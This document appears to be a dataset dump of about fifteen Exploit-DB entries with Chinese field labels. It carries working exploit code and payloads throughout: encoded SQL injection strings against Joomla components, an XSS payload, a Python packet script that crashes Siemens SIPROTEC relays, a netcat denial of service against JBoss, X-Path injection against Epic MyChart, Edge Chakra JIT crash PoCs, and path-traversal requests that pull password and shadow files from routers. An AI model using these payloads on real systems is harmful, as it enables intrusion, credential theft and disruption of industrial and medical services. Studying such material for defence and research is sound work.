QLWD/code_shield huggingface dataset:
标题: Joomla! Component DT Register 3.2.7 - 'id' SQL Injection EDB-ID: 44108 CVE: 2018-6584 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-16 漏洞利用脚本: # # # #
# Exploit Title: Joomla! Component DT Register 3.2.7 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: https://www.dthdevelopment.com/
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/dt-register/
# Version: 3.2.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6584
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_dtregister&task=edit&controller=category&id=[SQL]
# 
# JTMxJTIwJTIwJTJmJTJhJTIxJTMwJTM3JTM3JTM3JTM3JTU1JTRlJTQ5JTRmJTRlJTJhJTJmJTI4JTJmJTJhJTIxJTMwJTM3JTM3JTM3JTM3JTUzJTQ1JTRjJTQ1JTQzJTU0JTJhJTJmJTMwJTc4JTMyJTM4JTMzJTMxJTMyJTM5JTJjJTI4JTJmJTJhJTIxJTMwJTM3JTM3JTM3JTM3JTUzJTY1JTZjJTY1JTYzJTc0JTJhJTJmJTIwJTY1JTc4JTcwJTZmJTcyJTc0JTVmJTczJTY1JTc0JTI4JTM1JTJjJTQwJTNhJTNkJTMwJTJjJTI4JTJmJTJhJTIxJTMwJTM3JTM3JTM3JTM3JTczJTY1JTZjJTY1JTYzJTc0JTJhJTJmJTIwJTYzJTZmJTc1JTZlJTc0JTI4JTJhJTI5JTJmJTJhJTIxJTMwJTM3JTM3JTM3JTM3JTY2JTcyJTZmJTZkJTJhJTJmJTI4JTY5JTZlJTY2JTZmJTcyJTZkJTYxJTc0JTY5JTZmJTZlJTVmJTczJTYzJTY4JTY1JTZkJTYxJTJlJTYzJTZmJTZjJTc1JTZkJTZlJTczJTI5JTJmJTJhJTIxJTMwJTM3JTM3JTM3JTM3JTc3JTY4JTY1JTcyJTY1JTJhJTJmJTQwJTNhJTNkJTY1JTc4JTcwJTZmJTcyJTc0JTVmJTczJTY1JTc0JTI4JTM1JTJjJTY1JTc4JTcwJTZmJTcyJTc0JTVmJTczJTY1JTc0JTI4JTM1JTJjJTQwJTJjJTc0JTYxJTYyJTZjJTY1JTVmJTZlJTYxJTZkJTY1JTJjJTMwJTc4JTMzJTYzJTM2JTYzJTM2JTM5JTMzJTY1JTJjJTMyJTI5JTJjJTYzJTZmJTZjJTc1JTZkJTZlJTVmJTZlJTYxJTZkJTY1JTJjJTMwJTc4JTYxJTMzJTYxJTJjJTMyJTI5JTI5JTJjJTQwJTJjJTMyJTI5JTI5JTJjJTMwJTc4JTMyJTM4JTMzJTMzJTMyJTM5JTJjJTMwJTc4JTMyJTM4JTMzJTM0JTMyJTM5JTJjJTMwJTc4JTMyJTM4JTMzJTM1JTMyJTM5JTJjJTMwJTc4JTMyJTM4JTMzJTM2JTMyJTM5JTJjJTMwJTc4JTMyJTM4JTMzJTM3JTMyJTM5JTJjJTMwJTc4JTMyJTM4JTMzJTM4JTMyJTM5JTJjJTMwJTc4JTMyJTM4JTMzJTM5JTMyJTM5JTJjJTMwJTc4JTMyJTM4JTMzJTMxJTMzJTMwJTMyJTM5JTJjJTMwJTc4JTMyJTM4JTMzJTMxJTMzJTMxJTMyJTM5JTI5JTJkJTJkJTIwJTJk
# 
# MSsvKiEwNjY2NlVOSU9OKi8oLyohMDY2NjZTRUxFQ1QqLyUzMCU3OCUzMiUzOCUzMyUzMSUzMiUzOSxDT05DQVRfV1MoMHgyMDNhMjAsVVNFUigpLERBVEFCQVNFKCksVkVSU0lPTigpKSwlMzAlNzglMzIlMzglMzMlMzMlMzIlMzksJTMwJTc4JTMyJTM4JTMzJTM0JTMyJTM5LCUzMCU3OCUzMiUzOCUzMyUzNSUzMiUzOSwlMzAlNzglMzIlMzglMzMlMzYlMzIlMzksJTMwJTc4JTMyJTM4JTMzJTM3JTMyJTM5LCUzMCU3OCUzMiUzOCUzMyUzOCUzMiUzOSwlMzAlNzglMzIlMzglMzMlMzklMzIlMzksJTMwJTc4JTMyJTM4JTMzJTMxJTMzJTMwJTMyJTM5LCUzMCU3OCUzMiUzOCUzMyUzMSUzMyUzMSUzMiUzOSktLSst
# 
# # # # URL: https://www.exploit-db.com/exploits/44108
标题: Joomla! Component Gallery WD 1.3.6 - SQL Injection EDB-ID: 44112 CVE: 2018-5981 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-16 漏洞利用脚本: # # # # 
# Exploit Title: Joomla! Component Gallery WD 1.3.6 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: https://web-dorado.com/
# Software Link: https://extensions.joomla.org/extensions/extension/photos-a-images/galleries/gallery-wd/
# Software Download: https://web-dorado.com/?option=com_wdsubscriptions&view=dwnldfree&format=row&id=162
# Version: 1.3.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5981
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_gallery_wd&tag_id=&view=GalleryBox&gallery_id=7[SQL]
# 
# JTM3JTIwJTQxJTRlJTQ0JTIwJTQ1JTU4JTU0JTUyJTQxJTQzJTU0JTU2JTQxJTRjJTU1JTQ1JTI4JTM3JTMwJTM5JTMyJTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTMwJTc4JTM1JTYzJTJjJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTM3JTMwJTM5JTMyJTNkJTM3JTMwJTM5JTMyJTJjJTMxJTI5JTI5JTI5JTJjJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTI5JTI5
# 
# 2)
# http://localhost/[PATH]/index.php?option=com_gallery_wd&tag_id=[SQL]&view=GalleryBox&gallery_id=7
# 
# JTI4JTU1JTUwJTQ0JTQxJTU0JTQ1JTU4JTRkJTRjJTI4JTMxJTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTMwJTc4JTMyJTY1JTJjJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTMyJTNkJTMyJTJjJTMxJTI5JTI5JTI5JTJjJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTI5JTJjJTM4JTM1JTM5JTM5JTI5JTI5
# 
# # # #


http://localhost/Joomla375/index.php?option=com_gallery_wd&tag_id=(UPDATEXML(1,CONCAT(0x2e,database(),(SELECT (ELT(2=2,1))),version()),8599))&view=GalleryBox &gallery_id=7
1105 XPATH syntax error: 'joomla375110.1.21-MariaDB' 

http://localhost/Joomla375/index.php?option=com_gallery_wd&tag_id=&view=GalleryBox&gallery_id=%37%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%37%30%39%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%37%30%39%32%3d%37%30%39%32%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29
1105 XPATH syntax error: '\10.1.21-MariaDB1joomla375' URL: https://www.exploit-db.com/exploits/44112
标题: Joomla! Component InviteX 3.0.5 - 'invite_type' SQL Injection EDB-ID: 44114 CVE: 2018-6394 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-16 漏洞利用脚本: # # # #
# Exploit Title: Joomla! Component InviteX 3.0.5 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://techjoomla.com/
# Software Link: https://extensions.joomla.org/extensions/extension/content-sharing/bookmark-a-recommend/invitex/
# Version: 3.0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6394
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_invitex&view=invites&invite_type=[SQL]&invite_anywhere=1
#  
# JTJkJTM4JTM3JTM3JTM4JTIwJTIwJTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTU1JTRlJTQ5JTRmJTRlJTJhJTJmJTIwJTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTUzJTQ1JTRjJTQ1JTQzJTU0JTJhJTJmJTIwJTMxJTJjJTMyJTJjJTMzJTJjJTM0JTJjJTM1JTJjJTM2JTJjJTM3JTJjJTM4JTJjJTM5JTJjJTMxJTMwJTJjJTMxJTMxJTJjJTMxJTMyJTJjJTMxJTMzJTJjJTQzJTRmJTRlJTQzJTQxJTU0JTVmJTU3JTUzJTI4JTMwJTc4JTMyJTMwJTMzJTYxJTMyJTMwJTJjJTU1JTUzJTQ1JTUyJTI4JTI5JTJjJTQ0JTQxJTU0JTQxJTQyJTQxJTUzJTQ1JTI4JTI5JTJjJTU2JTQ1JTUyJTUzJTQ5JTRmJTRlJTI4JTI5JTI5JTJjJTMxJTM1JTJjJTMxJTM2JTJjJTMxJTM3JTJjJTMxJTM4JTJjJTMxJTM5JTJkJTJkJTIwJTJk
#  
# # # # URL: https://www.exploit-db.com/exploits/44114
标题: Joomla! Component Kubik-Rubik Simple Image Gallery Extended (SIGE) 3.2.3 - Cross-Site Scripting EDB-ID: 44104 CVE: 2017-16356 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-16 漏洞利用脚本: # Exploit Title: Joomla! Component SIGE version <= 3.2.3 Cross-site Scripting
# Date: 15-02-2018
# Software Link: https://downloads.kubik-rubik.de/joomla-extensions/plg_sige_v3.2.3.zip
# Exploit Author: Alwin Peppels
# Website: www.onvio.nl
# CVE: CVE-2017-16356
# Category: webapps

1. Description
Kubik-Rubik Simple Image Gallery Extended (SIGE) contains an XSS in the
'print.php' file.
Insufficient sanitization of the 'caption' URL parameter allows injection
of Javascript into the page.
In versions <= 3.2.0 the 'name' and 'img' parameters are vulnerable as well.
Google dork: inurl:plugin_sige/print.php

The version of the SIGE plugin can be determined with this file:
[JOOMLA]/plugins/content/sige/sige.xml

2. Proof of Concept


 [JOOMLA]/plugins/content/sige/plugin_sige/print.php?img=x&caption=<img%20src=x%20onerror=alert(%27XSS%27)>

3. Solution:

Update to version 3.3.0
https://downloads.kubik-rubik.de/joomla-extensions/plg_sige_v3.3.0.zip URL: https://www.exploit-db.com/exploits/44104
标题: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < 4.25 - Denial of Service EDB-ID: 44103 CVE: 2015-5374 类型: DOS 平台: HARDWARE 发布日期: 2018-02-16 漏洞利用脚本: # Exploit Title: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service
# Date: 14.02.2018
# Exploit Author: M. Can Kurnaz
# Contact: https://twitter.com/0x43414e
# Vendor Homepage: https://www.siemens.com
# Version: All devices that include the EN100 Ethernet module version V4.24 or prior.
# Tested on: Siemens SIPROTEC 4 (multiple versions < V4.25).
# CVE : CVE-2015-5374
# Vulnerability Details: 
# https://www.cvedetails.com/cve/CVE-2015-5374/
# https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01

#!/usr/bin/env python

import socket
import sys

print('CVE-2015-5374 Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service')

if len(sys.argv) < 2:
 print('Usage: ' + sys.argv[0] + ' [target]')
 sys.exit(1)

print('Sending packet to ' + sys.argv[1] + ' ...')

payload = bytearray('11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E'.replace(' ', '').decode('hex')) 

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], 50000))

print('Done, say goodbye!') URL: https://www.exploit-db.com/exploits/44103
标题: JBoss Remoting 6.14.18 - Denial of Service EDB-ID: 44099 CVE: 2018-1041 类型: DOS 平台: MULTIPLE 发布日期: 2018-02-16 漏洞利用脚本: # Exploit Title: Exploit Denial of Service JBoss Remoting (4447/9999)

# Date: 14-02-2018

# Exploit Author: Frank Spierings

# Vendor Homepage:
https://www.redhat.com/en/technologies/jboss-middleware/application-platform/get-started

# Software Link: http://ftp.redhat.com/pub/redhat/jboss/eap/

# Version: JBoss EAP 6.14.18 | Fixed in JBoss EAP 6.14.19

# Tested on: Red Hat Enterprise Linux Server release 7.4 |

# CVE : CVE-2018-1041



This is a very easy Denial of Service exploit. The target only requires 4
null bytes: `\x00\x00\x00\x00`.

The CPU will instantly spike after receiving this payload.



printf "\x00\x00\x00\x00" | nc <target> <port = 4447|9999>

`printf "\x00\x00\x00\x00" | nc 127.0.0.1 4447` URL: https://www.exploit-db.com/exploits/44099
标题: EPIC MyChart - X-Path Injection EDB-ID: 44098 CVE: 2016-6272 类型: WEBAPPS 平台: ASP 发布日期: 2018-02-16 漏洞利用脚本: # Exploit Title: Epic Systems Corporation MyChart X-Path Injection
# Google Dork: MyChart® licensed from Epic Systems Corporation
# Date: 8/19/16
# Exploit Author: Shayan Sadigh (http://threat.tevora.com/author/shayan/)
# Vendor Homepage: https://www.epic.com/software
# Software Link: N/A
# Version: N/A
# Tested on: Windows/Unix
# CVE : CVE-2016-6272

Epic Systems Corporation MyChart "is a web portal offered by most Epic healthcare organizations that gives you controlled access to the same Epic medical records your doctors use and provides convenient self-service functions that reduce costs and increase satisfaction."

The MyChart software contains an X-Path injection due to the lack of sanitization for the GE parameter "topic". A remote attacker can access contents of an XML document containing static display strings, such as field labels, via the topic parameter to help.asp.

EPIC was quick to respond to contact and patch the vulnerability in MyChart.

Below are two proof of concepts:

Proof of concept 1:

https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 7900=7900 AND ("LygB"="LygB ===> TRUE (this will show the help topic for enabling cookies)

https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 7900=8000 AND ("LygB"="LygB ===> FALSE (will not show)

Proof of concept 2 (operations):

https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 2*3*8=6*8 OR "000OxPf"="000OxPf ===> TRUE

https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 2*3*8=6*6 OR "000OxPf"="000OxPf ===> TRUE (because of the OR)

https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 2*3*8=6*6 AND"000OxPf"="000OxPf ===> FALSE URL: https://www.exploit-db.com/exploits/44098
标题: Microsoft Edge Chakra JIT - 'NewScObjectNoCtor' Array Type Confusion EDB-ID: 44080 CVE: 2018-0838 类型: DOS 平台: WINDOWS 发布日期: 2018-02-15 漏洞利用脚本: /*
This is similar to the previous issues 1457,  1459 (MSRC 42551, MSRC 42552).

If a JavaScript function is used as a consturctor, it sets the new object's "__proto__" to its "prototype". The JIT compiler uses NewScObjectNoCtor instructions to perform it, but those instructions are not checked by CheckJsArrayKills which is used to validate the array information.

PoC:
*/

function inlinee() {

}

function opt(arr) {
    arr[0] = 1.1;
    new inlinee();
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];
    for (let i = 0; i < 10000; i++) {
        inlinee.prototype = {};
        opt(arr);
    }

    inlinee.prototype = arr;
    opt(arr);

    print(arr);
}

main(); URL: https://www.exploit-db.com/exploits/44080
标题: Joomla! Component Advertisement Board 3.1.0 - 'catname' SQL Injection EDB-ID: 44105 CVE: 2018-5982 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-16 漏洞利用脚本: # # # # 
# Exploit Title: Joomla! Component Advertisement Board 3.1.0 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://ordasoft.com/
# Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/classified-ads/advertisement-board/
# Version: 3.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5982
# # # # 
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_advertisementboard&Itemid=132&task=show_rss_categories&catname=[SQL]
# 
# YWFhJyBPUiAoU0VMRUNUIDYwMDQgRlJPTShTRUxFQ1QgQ09VTlQoKiksQ09OQ0FUKEBAdmVyc2lvbiwoU0VMRUNUIChFTFQoNjAwND02MDA0LDEpKSksMHg3ZTdlN2UsZGF0YWJhc2UoKSxGTE9PUihSQU5EKDApKjIpKXggRlJPTSBJTkZPUk1BVElPTl9TQ0hFTUEuUExVR0lOUyBHUk9VUCBCWSB4KWEpLS0gSHRMQg==
# 
# # # #

Joomla! Component Advertisement Board v3.0.4
id parameter,v3.0.4 previously found.

https://www.exploit-db.com/exploits/41600 URL: https://www.exploit-db.com/exploits/44105
标题: Microsoft Edge Chakra JIT - 'LdThis' Type Confusion EDB-ID: 44081 CVE: 2018-0837 类型: DOS 平台: WINDOWS 发布日期: 2018-02-15 漏洞利用脚本: /*
LdThis instructions' value type is assumed to be "Object". Since "this" can be other objects like an array, it has to be assumed to be "LikelyObject", otherwise, operations to "this" will not be checked properly.

PoC:
*/

function opt(arr) {
    arr[0] = 1.1;
    this[0] = {};
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];
    for (let i = 0; i < 10000; i++) {
        opt.call({}, arr);
    }

    opt.call(arr, arr);
    print(arr);
}

main(); URL: https://www.exploit-db.com/exploits/44081
标题: Cisco DPC3928 Router - Arbitrary File Disclosure EDB-ID: 44070 CVE: 2017-11502 类型: WEBAPPS 平台: HARDWARE 发布日期: 2017-05-10 漏洞利用脚本: ## Vulnerability Summary
The following advisory describes an arbitrary file disclosure vulnerability found in Cisco DPC3928AD DOCSIS 3.0 2-PORT Voice Gateway.

The Cisco DPC3928AD DOCSIS is a home wireless router that is currently "Out of support" but is provided by ISPs world wide.

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
We reported the vulnerability to Cisco and they informed us that the Cisco DPC3928AD sold to Technicolor: “The Cisco DPC3928AD was actually sold to Technicolor a while back. In this case, we will ask you to please contact Technicolor at security@technicolor.com to open a case with them”

After connecting Technicolor, they informed us that the product has reached end of life and they will not patch the vulnerability: “After an extensive search for the product to perform validation, we were unable to source the gateway to validate your proof of concept. Due to the end-of-sale and end-of-life of the product Technicolor will not be patching the bug.”

CVE: CVE-2017-11502

## Vulnerability details
Cisco DPC3928AD DOCSIS 3.0 2-PORT Voice Gateway vulnerability is present on its TCP/4321 port .

## Proof of Concept
An attacker can get the /etc/passwd file from the remote device, by sending the following request:


```
GET /../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: 192.168.0.10:4321
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```

The Router response the next output with the passwd content:

```
HTTP/1.1 200 OK
Content-Type: text/html
SERVER: Linux/#2 Wed Nov 12 10:23:46 CST 2014 UPnP/1.0 Broadcom
UPNP/0.9
Content-Length: 247
Accept-Ranges: bytes
Date: Thu, 10 Nov 2016 16:01:04 GMT

root:HAdbdMWcXHOuKQ:0:0:root:/:/bin/sh
admin:KASJakljhHqiuJ:0:0:aDMINISTRATOR:/:/bin/false
``` URL: https://www.exploit-db.com/exploits/44070
标题: Microsoft Edge Chakra JIT - 'GlobOpt::OptTagChecks' Must Consider IsLoopPrePass Properly (2) EDB-ID: 44075 CVE: 2018-0770 类型: DOS 平台: WINDOWS 发布日期: 2018-02-15 漏洞利用脚本: It seems this is the patch for the bug.
https://github.com/Microsoft/ChakraCore/pull/4226/commits/874551dd00ff6f404e593c7e0162efb54b953f5a

The following two cases will bypass the fix.

1:
function opt() {
    let obj = new Number(2.3023e-320);
    for (let i = 0; i < 1; i++) {
        obj.x = 1;
        obj = +obj;
        obj.x = 1;
    }
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();

2:
function opt() {
    let obj = '2.3023e-320';
    for (let i = 0; i < 1; i++) {
        obj.x = 1;
        obj = +obj;
        obj.x = 1;
    }
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main(); URL: https://www.exploit-db.com/exploits/44075
标题: Dashlane - DLL Hijacking EDB-ID: 44066 CVE: 2017-11657 类型: LOCAL 平台: WINDOWS 发布日期: 2017-08-03 漏洞利用脚本: ## Vulnerability Summary
The following advisory describes a DLL Hijacking vulnerability found in Dashlane.

Dashlane is “a password manager app and secure digital wallet. The app is available on Mac, PC, iOS and Android. The app’s premium feature enables users to securely sync their data between an unlimited number of devices on all platforms.”

## Credit
An independent security researcher, Paulos Yibelo, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
We have informed Dashlane of the vulnerability, their answer was: “Since there are many ways to load DLLs/code in a process under Windows, we are currently rewriting part of the installer to install in Program Files (we use %appdata% for the non admin users like many other applications), and you can already replace DLLl/exe if you are privileged to write in the user %appdata%/…/dashlane directory, we won’t change the current way of loading DLLs in the short term.”

At this time there is no solution or workaround for this vulnerability.

CVE: CVE-2017-11657

## Vulnerability details
When Dashlane starts on a Windows machine it tries to load a DLL (WINHTTP.dll) from the C:\Users\user\AppData\Roaming\Dashlane\ directory, if a malicious attacker puts the DLL in that directory Dashlane will load it and run the code found in it – without giving the user any warning of it.

This happens because:

Dashlane does not provide the file WINHTTP.dll.
Writing in %appdata% doesn’t require any special privileges, the file called WINHTTP.dll can be placed in the path C:\Users\user\AppData\Roaming\Dashlane\.
Since Dashlane can require admin privileges, an attacker can place the nwinhttp.dll and cause script/command execution as the current user (usually admin). URL: https://www.exploit-db.com/exploits/44066
标题: Geneko Routers - Path Traversal EDB-ID: 44072 CVE: 2017-11456 类型: WEBAPPS 平台: HARDWARE 发布日期: 2017-07-16 漏洞利用脚本: ## Vulnerability Summary
The following advisory describes a Unauthenticated Path Traversal vulnerability found in Geneko GWR routers series.

Geneko GWG is compact and cost effective communications solution that provides cellular capabilities for fixed and mobile applications such as data acquisition, smart metering, remote monitoring and management. GWG supports a variety of radio bands options on 2G, 3G and 4G cellular technologies.

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
We have informed Geneko of the vulnerability on the 28th of May 2017, the last email we received from them was on the 7th of June 2017. We have no further updates from Geneko regarding the availability of a patch or a workaround for the vulnerability.
CVE: CVE-2017-11456

## Vulnerability Details
User controlled input is not sufficiently sanitized, and then passed to a function responsible for accessing the filesystem. Successful exploitation of this vulnerability enables a remote unauthenticated user to read the content of any file existing on the host, this includes files located outside of the web root folder.

By sending the following GET request, You get direct access to the configuration file, which allows you to log in to the login panel:

```
GET /../../../../../../../../../../../../mnt/flash/params/j_admin_admin.params HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
```

## Router response:

```
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 121

{"enable":true,"username":"admin","password”:"xxx!","web_access":0,"http_port":80,"https_port":443,"gui_timeout":15}

In this case, the admin user is configured to have access to the shell (SSH Access) as can be seen in the /etc/passwd

admin:x:0:0:root:/root:/root/cli
```

## Proof of Concept

path_traversal.py

```
import requests
import sys
domain = sys.argv[1]
r = requests.get("http://"+domain+"/../../../../../etc/shadow")
print r.content
```

The router then will response with:


```
root:$1$ryjw5yTs$xoQlzavABZ5c7gQuD7jKO0:10933:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
admin:$1$72G6z9YF$cs5dS2elxOD3qicUTlEHO/:10933:0:99999:7:::
``` URL: https://www.exploit-db.com/exploits/44072
标题: Microsoft Edge Chakra JIT - 'Array.prototype.reverse' Array Type Confusion EDB-ID: 44079 CVE: 2018-0835 类型: DOS 平台: WINDOWS 发布日期: 2018-02-15 漏洞利用脚本: /*
This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.

Array.prototype.reverse can be inlined and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray

To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.

Here's a snippet of JavascriptArray::EntrySort.
    arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
    JS_REENTRANT(jsReentLock, arr->Sort(compFn));
    arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);

If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.

PoC:
*/

function opt(arr, arr2) {
    arr2[0];

    arr[0] = 1.1;
    arr2.reverse();
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3];
    arr.__proto__ = null;  // avoid inline caching 
    delete arr[1];  // avoid doArrayMissingValueCheckHoist

    let arr2 = [, {}];
    arr2.__proto__ = {};
    arr2.reverse = Array.prototype.reverse;

    for (let i = 0; i < 10000; i++) {
        opt(arr, arr2);
    }

    Array.prototype.sort.call(arr, () => {
        arr2.__proto__.__proto__ = arr;
    });

    opt(arr, arr2);
    print(arr[0]);
}

main(); URL: https://www.exploit-db.com/exploits/44079